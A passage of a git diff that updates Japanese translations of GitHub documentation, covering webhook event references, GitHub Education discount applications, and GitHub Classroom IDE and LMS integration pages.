 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example when someone creates a sponsorship
+### スポンサーシップ作成時の webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.sponsorship.created }}
 
-### Webhook payload example when someone downgrades a sponsorship
+### スポンサーシップのダウングレード時の webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.sponsorship.downgraded }}
 
 {% endif %}
 
-## star
+## Star
 
 {% data reusables.webhooks.star_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
+- リポジトリ webhook
+- Organization webhook
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.star_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.star.created }}
 
-## status
+## ステータス
 
 {% data reusables.webhooks.status_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `statuses` permission
+- リポジトリ webhook
+- Organization webhook
+- `statuses` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`id` | `integer` | The unique identifier of the status.
-`sha`|`string` | The Commit SHA.
-`state`|`string` | The new state. Can be `pending`, `success`, `failure`, or `error`.
-`description`|`string` | The optional human-readable description added to the status.
-`target_url`|`string` | The optional link added to the status.
-`branches`|`array` | An array of branch objects containing the status' SHA. Each branch contains the given SHA, but the SHA may or may not be the head of the branch. The array includes a maximum of 10 branches.
+| キー           | 種類        | 説明                                                                                                            |
+| ------------ | --------- | ------------------------------------------------------------------------------------------------------------- |
+| `id`         | `integer` | ステータスの一意の識別子。                                                                                                 |
+| `sha`        | `string`  | コミット SHA。                                                                                                     |
+| `state`      | `string`  | 新しい状態。 `pending`、`success`、`failure`、`error` のいずれかを指定可。                                                       |
+| `説明`         | `string`  | オプションの人間可読の説明がステータスに追加。                                                                                       |
+| `target_url` | `string`  | ステータスに追加されたオプションのリンク。                                                                                         |
+| `ブランチ`       | `array`   | ステータスの SHA を含むブランチオブジェクトの配列。 各ブランチには特定の SHA が含まれていますが、SHA がブランチの先頭である場合とそうでない場合があります。 配列には最大 10 個のブランチが含まれます。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.status }}
 
-## team
+## Team
 
 {% data reusables.webhooks.team_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- Organization webhook
+- `members` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. Can be one of `created`, `deleted`, `edited`, `added_to_repository`, or `removed_from_repository`.
-`team`  |`object` | The team itself.
-`changes`|`object` | The changes to the team if the action was `edited`.
-`changes[description][from]` |`string` | The previous version of the description if the action was `edited`.
-`changes[name][from]` |`string` | The previous version of the name if the action was `edited`.
-`changes[privacy][from]` |`string` | The previous version of the team's privacy if the action was `edited`.
-`changes[repository][permissions][from][admin]` | `boolean` | The previous version of the team member's `admin` permission on a repository, if the action was `edited`.
-`changes[repository][permissions][from][pull]` | `boolean` | The previous version of the team member's `pull` permission on a repository, if the action was `edited`.
-`changes[repository][permissions][from][push]` | `boolean` | The previous version of the team member's `push` permission on a repository, if the action was `edited`.
-`repository`|`object` | The repository that was added or removed from to the team's purview if the action was `added_to_repository`, `removed_from_repository`, or `edited`. For `edited` actions, `repository` also contains the team's new permission levels for the repository.
+| キー                                              | 種類        | 説明                                                                                                                                                                |
+| ----------------------------------------------- | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action`                                        | `string`  | 実行されたアクション. `created`、 `deleted`、`edited`、`added_to_repository`、`removed_from_repository` のいずれかを指定可。                                                              |
+| `Team`                                          | `オブジェクト`  | Team 自体。                                                                                                                                                          |
+| `changes`                                       | `オブジェクト`  | アクションが `edited` の場合の Team への変更。                                                                                                                                   |
+| `changes[description][from]`                    | `string`  | アクションが `edited` の場合、以前のバージョンの説明。                                                                                                                                  |
+| `changes[name][from]`                           | `string`  | アクションが`edited`だった場合、以前のバージョンの名前。                                                                                                                                  |
+| `changes[privacy][from]`                        | `string`  | アクションが `edited` の場合の以前のバージョンのTeam プライバシー。                                                                                                                         |
+| `changes[repository][permissions][from][admin]` | `boolean` | アクションが `edited` の場合の、リポジトリに対する以前のバージョンの Team メンバーの `admin` 権限。                                                                                                    |
+| `changes[repository][permissions][from][pull]`  | `boolean` | アクションが `edited` の場合の、リポジトリに対する以前のバージョンの Team メンバーの `pull` 権限。                                                                                                     |
+| `changes[repository][permissions][from][push]`  | `boolean` | アクションが `edited` の場合の、リポジトリに対する以前のバージョンの Team メンバーの `push` 権限。                                                                                                     |
+| `リポジトリ`                                         | `オブジェクト`  | アクションが `added_to_repository`、`removeed_from_repository`、`edited` の場合の、Team の範囲に追加または削除されたリポジトリ。 `edited` アクションの場合、`repository` には、リポジトリに対する Team の新しい権限レベルも含まれます。 |
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.team.added_to_repository }}
 
@@ -1328,54 +1330,54 @@ Key | Type | Description
 
 {% data reusables.webhooks.team_add_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- リポジトリ webhook
+- Organization webhook
+- `members` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`team`|`object` | The [team](/rest/reference/teams) that was modified.  **Note:** Older events may not include this in the payload.
+| キー     | 種類       | 説明                                                                          |
+| ------ | -------- | --------------------------------------------------------------------------- |
+| `Team` | `オブジェクト` | 変更された [Team](/rest/reference/teams)。  **注釈:** 古いイベントではペイロードに含まていれない場合があります。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.team_add }}
 
 {% ifversion ghes or ghae %}
 
-## user
+## ユーザ
 
-When a user is `created` or `deleted`.
+ユーザが `created` または `deleted` を指定した場合。
 
-### Availability
-- GitHub Enterprise webhooks. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/)."
+### 利用の可否
+- GitHub Enterprise webhook。 詳しい情報については「[グローバル webhook](/rest/reference/enterprise-admin#global-webhooks/)」を参照してください。
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.user.created }}
 
 {% endif %}
 
-## watch
+## Watch
 
 {% data reusables.webhooks.watch_short_desc %}
 
-The event’s actor is the [user](/rest/reference/users) who starred a repository, and the event’s repository is the [repository](/rest/reference/repos) that was starred.
+イベントのアクターは、リポジトリに Star を付けた[ユーザ](/rest/reference/users)であり、イベントのリポジトリは、Star を付けた[リポジトリ](/rest/reference/repos)です。
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission
+- リポジトリ webhook
+- Organization webhook
+- `metadata` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.watch_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -1383,20 +1385,20 @@ The event’s actor is the [user](/rest/reference/users) who starred a repositor
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.watch.started }}
 
 {% ifversion fpt or ghes or ghec %}
 ## workflow_dispatch
 
-This event occurs when someone triggers a workflow run on GitHub or sends a `POST` request to the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)" endpoint. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_dispatch)."
+このイベントは、 ユーザが GitHub でワークフローの実行をトリガーするか、「[ワークフローディスパッチイベントの作成](/rest/reference/actions/#create-a-workflow-dispatch-event)」エンドポイントに `POST` リクエストを送信したときに発生します。 詳しい情報については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows#workflow_dispatch)」を参照してください。
 
-### Availability
+### 利用の可否
 
-- {% data variables.product.prodname_github_apps %} must have the `contents` permission to receive this webhook.
+- この webhook を受信するには、{% data variables.product.prodname_github_apps %} に `contents` 権限が必要です。
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.workflow_dispatch }}
 {% endif %}
@@ -1407,20 +1409,20 @@ This event occurs when someone triggers a workflow run on GitHub or sends a `POS
 
 {% data reusables.webhooks.workflow_job_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- Enterprise webhooks
+- リポジトリ webhook
+- Organization webhook
+- Enterprise webhook
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.workflow_job_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.workflow_job }}
 
@@ -1428,13 +1430,13 @@ This event occurs when someone triggers a workflow run on GitHub or sends a `POS
 {% ifversion fpt or ghes or ghec %}
 ## workflow_run
 
-When a {% data variables.product.prodname_actions %} workflow run is requested or completed. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_run)."
+{% data variables.product.prodname_actions %} ワークフロー実行がリクエスト済または完了したとき。 詳しい情報については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows#workflow_run)」を参照してください。
 
-### Availability
+### 利用の可否
 
-- {% data variables.product.prodname_github_apps %} with the `actions` or `contents` permissions.
+- `actions` または `contents` 権限のある {% data variables.product.prodname_github_apps %}。
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.workflow_run_properties %}
 {% data reusables.webhooks.workflow_desc %}
@@ -1442,7 +1444,7 @@ When a {% data variables.product.prodname_actions %} workflow run is requested o
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.workflow_run }}
 {% endif %}
diff --git a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
index e1e2026fb4..c59e6e6fbb 100644
--- a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
+++ b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
@@ -1,6 +1,6 @@
 ---
-title: Apply for an educator or researcher discount
-intro: 'If you''re an educator or a researcher, you can apply to receive {% data variables.product.prodname_team %} for your organization account for free.'
+title: 教育者割引または研究者割引への応募
+intro: '教育者もしくは研究者は、Organization アカウントに対して無料で {% data variables.product.prodname_team %} を受けるために応募できます。'
 redirect_from:
   - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount
   - /github/teaching-and-learning-with-github-education/applying-for-an-educator-or-researcher-discount
@@ -14,15 +14,16 @@ versions:
   fpt: '*'
 shortTitle: Apply for a discount
 ---
-## About educator and researcher discounts
+
+## 教育者および研究者に対する割引について
 
 {% data reusables.education.about-github-education-link %}
 
 {% data reusables.education.educator-requirements %}
 
-For more information about user accounts on {% data variables.product.product_name %}, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account)."
+{% data variables.product.product_name %}のユーザアカウント作成に関する詳しい情報については「[新規{% data variables.product.prodname_dotcom %}アカウントにサインアップする](/github/getting-started-with-github/signing-up-for-a-new-github-account)」を参照してください。
 
-## Applying for an educator or researcher discount
+## 教育者割引または研究者割引に応募する
 
 {% data reusables.education.benefits-page %}
 {% data reusables.education.click-get-teacher-benefits %}
@@ -32,30 +33,28 @@ For more information about user accounts on {% data variables.product.product_na
 {% data reusables.education.plan-to-use-github %}
 {% data reusables.education.submit-application %}
 
-## Upgrading your organization
+## Organization をアップグレードする
 
-After your request for an educator or researcher discount has been approved, you can upgrade the organizations you use with your learning community to {% data variables.product.prodname_team %}, which allows unlimited users and private repositories with full features, for free. You can upgrade an existing organization or create a new organization to upgrade.
+教育者もしくは研究者割引のリクエストが承認されると、学習コミュニティで利用する Organization を {% data variables.product.prodname_team %} にアップグレードできます。これで、無料で無制限のユーザとプライベートリポジトリの全ての機能が利用できるようになります。 既存の Organization をアップグレードするか、アップグレードする新しい Organization を作成できます。
 
-### Upgrading an existing organization
+### 既存の Organization をアップグレードする
 
 {% data reusables.education.upgrade-page %}
 {% data reusables.education.upgrade-organization %}
 
-### Upgrading a new organization
+### 新しい Organization をアップグレードする
 
 {% data reusables.education.upgrade-page %}
-1. Click {% octicon "plus" aria-label="The plus symbol" %} **Create an organization**.
-  ![Create an organization button](/assets/images/help/education/create-org-button.png)
-3. Read the information, then click **Create organization**.
-  ![Create organization button](/assets/images/help/education/create-organization-button.png)
-4. Under "Choose your plan", click **Choose {% data variables.product.prodname_free_team %}**.
-5. Follow the prompts to create your organization.
+1. [{% octicon "plus" aria-label="The plus symbol" %} **Create an organization**] をクリックします。 ![[Create an organization] ボタン](/assets/images/help/education/create-org-button.png)
+3. 情報を読んで、[**Create organization**] をクリックします。 ![[Create organization] ボタン](/assets/images/help/education/create-organization-button.png)
+4. [Choose a plan] の下で、[**Choose {% data variables.product.prodname_free_team %}**] をクリックします。
+5. プロンプトに従って Organization を作成します。
 {% data reusables.education.upgrade-page %}
 {% data reusables.education.upgrade-organization %}
 
-## Further reading
+## 参考リンク
 
-- "[Why wasn't my application for an educator or researcher discount approved?](/articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved)"
+- [教育者あるいは研究者割引が承認されなかった理由は？](/articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved)
 - [{% data variables.product.prodname_education %}](https://education.github.com)
-- [{% data variables.product.prodname_classroom %} Videos](https://classroom.github.com/videos)
+- [{% data variables.product.prodname_classroom %}ビデオ](https://classroom.github.com/videos)
 - [{% data variables.product.prodname_education_community %}](https://education.github.community/)
diff --git a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
index 82cc504911..ddaedede83 100644
--- a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
+++ b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
@@ -1,6 +1,6 @@
 ---
-title: Why wasn't my application for an educator or researcher discount approved?
-intro: Review common reasons that applications for an educator or researcher discount are not approved and learn tips for reapplying successfully.
+title: 教育者または研究者割引の申請が承認されなかったのはなぜですか？
+intro: 教育者または研究者割引の申請が承認されていない一般的な理由を確認し、正常に再申請するためのヒントを学びます。
 redirect_from:
   - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
   - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
@@ -12,36 +12,37 @@ versions:
   fpt: '*'
 shortTitle: Application not approved
 ---
+
 {% tip %}
 
-**Tip:** {% data reusables.education.about-github-education-link %}
+**ヒント:** {% data reusables.education.about-github-education-link %}
 
 {% endtip %}
 
-## Unclear proof of affiliation documents
+## 所属文書の不明確な証明
 
-If the image you uploaded doesn't clearly identify your current employment with a school or university, you must reapply and upload another image of your faculty ID or employment verification letter with clear information.
+アップロードした画像が現在の学校または大学での雇用を明確に識別していない場合、教職員 ID または雇用確認書の別の画像を明瞭な情報と共にアップロードして再申請する必要があります。
 
 {% data reusables.education.pdf-support %}
 
-## Using an academic email with an unverified domain
+## 未確認ドメインを持つ学術メールの使用
 
-If your academic email address has an unverified domain, we may require further proof of your academic status. {% data reusables.education.upload-different-image %}
+学術メールアドレスに未確認ドメインが含まれている場合、学術ステータスの更なる証明が必要となります。 {% data reusables.education.upload-different-image %}
 
 {% data reusables.education.pdf-support %}
 
-## Using an academic email from a school with lax email policies
+## 緩い電子メールポリシーを持つ学校からの学術電子メールの使用
 
-If alumni and retired faculty of your school have lifetime access to school-issued email addresses, we may require further proof of your academic status. {% data reusables.education.upload-different-image %}
+学校の卒業生および退職した教職員が学校が発行したメールアドレスに一生アクセスできる場合は、学術ステータスの更なる証明が必要となります。 {% data reusables.education.upload-different-image %}
 
 {% data reusables.education.pdf-support %}
 
-If you have other questions or concerns about the school domain, please ask your school IT staff to contact us.
+学校のドメインに関するその他の質問や懸念がある場合は、学校のITスタッフにお問い合わせください。
 
-## Non-student applying for Student Developer Pack
+## 学生以外が Student Developer Pack を申請する
 
-Educators and researchers are not eligible for the partner offers that come with the [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack). When you reapply, make sure that you choose **Faculty** to describe your academic status.
+教育者や研究者は、[{% data variables.product.prodname_student_pack %}](https://education.github.com/pack)に付属のパートナーオファーの対象にはなりません。 再度申し込む際には、ご自身の学術ステータスを説明するものとして必ず [**Faculty**] (教職員) を選択してください。
 
-## Further reading
+## 参考リンク
 
-- "[Apply for an educator or researcher discount](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount)"
+- 「[教育者・研究者割引への応募](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount)」
diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
index 3d9668f167..6d9e75115b 100644
--- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
+++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
@@ -1,31 +1,32 @@
 ---
-title: Integrate GitHub Classroom with an IDE
-shortTitle: Integrate with an IDE
+title: GitHub ClassroomとIDEの統合
+shortTitle: IDEとの統合
 intro: 'You can preconfigure a supported integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}.'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/online-ide-integrations
   - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide
   - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-online-ide
 ---
+
 ## About integration with an IDE
 
-{% data reusables.classroom.about-online-ides %} 
+{% data reusables.classroom.about-online-ides %}
 
-After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.
+After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. 学生はただちに作業を開始でき、追加の設定は必要ありません。
 
 ## Supported IDEs
 
-{% data variables.product.prodname_classroom %} supports the following IDEs. You can learn more about the student experience for each IDE.
+{% data variables.product.prodname_classroom %} supports the following IDEs. 各IDEについて、学生としての使い方を詳しく知ることができます。
 
-| IDE | More information |
-| :- | :- |
-| Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" |
-| Visual Studio Code | [{% data variables.product.prodname_classroom %} extension](http://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace |
+| IDE                       | 詳細情報                                                                                                                                                                           |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Microsoft MakeCode Arcade | 「[{% data variables.product.prodname_classroom %}でMakeCode Arcadeを使用する](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)」 |
+| Visual Studio Code        | [{% data variables.product.prodname_classroom %} extension](http://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace                                               |
 
-We know cloud IDE integrations are important to your classroom and are working to bring more options. 
+We know cloud IDE integrations are important to your classroom and are working to bring more options.
 
 ## Configuring an IDE for an assignment
 
@@ -35,8 +36,8 @@ You can choose the IDE you'd like to use for an assignment when you create an as
 
 The first time you configure an assignment with an IDE, you must authorize the OAuth app for the IDE for your organization.
 
-For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)."
+すべてのリポジトリに対する、メタデータ、管理、コードへの**読み取り**アクセス、および管理、コードへの**書き込み**アクセスをアプリケーションに付与します。 詳しい情報については、「[OAuth App を認証する](/github/authenticating-to-github/authorizing-oauth-apps)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)"
+- [READMEについて](/github/creating-cloning-and-archiving-repositories/about-readmes)
diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md
index 472a3fbbda..7ebf8bf01e 100644
--- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md
+++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md
@@ -1,9 +1,9 @@
 ---
-title: Connect a learning management system to GitHub Classroom
-intro: 'You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom.'
+title: 学習管理システムをGitHub Classroomに接続する
+intro: 'LTI準拠の学習管理システム (LMS) を{% data variables.product.prodname_classroom %}に接続するよう設定することで、クラスルームの名簿をインポートできます。'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom
   - /education/manage-coursework-with-github-classroom/connect-to-lms
@@ -14,131 +14,128 @@ redirect_from:
   - /education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom
 shortTitle: Connect an LMS
 ---
-## About configuration of your LMS
 
-You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS.
+## LMSの設定について
 
-## Prerequisites
+学習管理システム (LMS) を{% data variables.product.prodname_classroom %}に接続でき、{% data variables.product.prodname_classroom %}はLMSから学生の名簿をインポートできます。 LMSを{% data variables.product.prodname_classroom %}に接続するには、LMSで{% data variables.product.prodname_classroom %}の構成認証情報を入力する必要があります。
 
-To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)."
+## 必要な環境
 
-## Supported LMSes
+LMSを{% data variables.product.prodname_classroom %}に接続するよう構成するには、まずクラスルームを作成する必要があります。 詳しい情報については、「[クラスルームの管理](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)」を参照してください。
 
-{% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards.
+## サポートするLMS
 
-- LTI version 1.0 and/or 1.1
+{% data variables.product.prodname_classroom %}は、Learning Tools Interoperability (LTI) 規格を実装するLMSからの、名簿データのインポートをサポートしています。
+
+- LTIバージョン1.0および1.1
 - LTI Names and Roles Provisioning 1.X
 
-Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website.
+LTIは、情報の安全性と機密性を保つために役立ちます。 LTIは業界標準のプロトコルであり、GitHub ClassroomによるLTIの使用は、教育管理システム (IMS) グローバル・ラーニング・コンソーシアムにより認定されています。 詳しい情報については、IMSグローバル・ラーニング・コンソーシアムのウェブサイト上にある[Learning Tools Interoperability (学習ツールの相互運用性) ](https://www.imsglobal.org/activity/learning-tools-interoperability)および[About IMS Global Learning Consortium (IMSグローバル・ラーニング・コンソーシアムについて) ](http://www.imsglobal.org/aboutims.html)を参照してください。
 
-{% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}.
+{% data variables.product.company_short %}は、以下のLMSから{% data variables.product.prodname_classroom %}への名簿のインポートを確認しています。
 
 - Canvas
 - Google Classroom
 - Moodle
 - Sakai
 
-Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace.
+現在のところ、{% data variables.product.prodname_classroom %}はBlackboardおよびBrightspaceからの名簿のインポートはサポートしていません。
 
-## Generating configuration credentials for your classroom
+## クラスルームの構成認証情報を生成する
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster.
-    - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)."
-    - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)."
-1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.
-  ![List of LMSes](/assets/images/help/classroom/classroom-settings-click-lms.png)
-1. Read about connecting your LMS, then click **Connect to _LMS_**.
-1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.
-  ![Copy credentials](/assets/images/help/classroom/classroom-copy-credentials.png)
+1. クラスルームに既に名簿がある場合は、その名簿を更新するか、その名簿を削除して新しい名簿を作成できます。
+    - 名簿の削除や作成に関する詳細については、「[クラスルームの名簿を削除する](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)」および「[クラスルームの名簿を作成する](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)」を参照してください。
+    - 名簿の更新に関する詳細については、「[クラスルームの名簿に学生を追加する](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)」を参照してください。
+1. LMSのリストの中から、お使いのLMSをクリックします。 お使いのLMSがサポートされていない場合、[**Other LMS**] をクリックします。 ![LMSのリスト](/assets/images/help/classroom/classroom-settings-click-lms.png)
+1. LMSの接続について読み、[**Connect to _LMS_**] をクリックします。
+1. クラスルームへの接続に用いる、[Consumer Key]、[Shared Secret]、および [Launch URL] をコピーします。 ![認証情報のコピー](/assets/images/help/classroom/classroom-copy-credentials.png)
 
-## Configuring a generic LMS
+## 一般的なLMSを設定する
 
-You must configure the privacy settings for your LMS to allow external tools to receive roster information.
+外部ツールが名簿情報を受信できるよう、LMSのプライバシー設定を行う必要があります。
 
-1. Navigate to your LMS.
-1. Configure an external tool.
-1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}.
+1. お使いのLMSに移動します。
+1. 外部ツールを設定します。
+1. {% data variables.product.prodname_classroom %}で生成された構成認証情報を入力します。
     - Consumer key
-    - Shared secret
-    - Launch URL (sometimes called "tool URL" or similar)
+    - 共有シークレット
+    - Launch URL (「ツールURL」などと呼ばれることもあります)
 
-## Configuring Canvas
